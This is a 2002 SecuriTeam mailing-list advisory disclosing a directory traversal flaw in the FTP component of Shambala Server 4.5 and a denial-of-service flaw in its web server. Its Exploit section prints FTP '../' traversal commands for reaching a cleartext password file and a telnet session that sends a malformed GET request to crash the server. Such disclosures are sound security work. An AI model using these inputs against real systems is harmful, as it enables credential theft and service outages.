[NT] Shambala Server Directory Traversal and DoS

From: support@securiteam.com
Date: 06/01/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sat,  1 Jun 2002 22:59:11 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Shambala Server Directory Traversal and DoS
------------------------------------------------------------------------

SUMMARY

 <Shttp://www.evolvable.com/> Shambala Server is a personal Web/FTP server
for Win 9*/NT. When the web server is started, it also starts the
integrated FTP server. The product has been found to contain multiple
vulnerabilities.

DETAILS

Vulnerable systems:
Shambala Server version 4.5

The integrated FTP server is vulnerable to a directory traversal attack
that enables attackers to view the entire directory structure and download
any file in it. There is also a DoS condition present in the web server.

Impact:
An authenticated user may view any directory and/or download any file on
the system. An authenticated user may use this to download the cleartext
password file that lies one ".." below the web root.

Exploit:
Directory traversal / get any file
ftp> ls ../../../ - and so on...
ftp> get ../../../ - and so on...

DoS condition in the Web server
you# telnet 192.168.0.11 80
Trying 192.168.0.11...
Connected to 192.168.0.11.
Escape character is '^]'.
GET !"#¤%&/()=?
Connection closed by foreign host.
you#

ADDITIONAL INFORMATION

The information has been provided by <mailto:exce@netwinder.nu> Daniel
Nyström.

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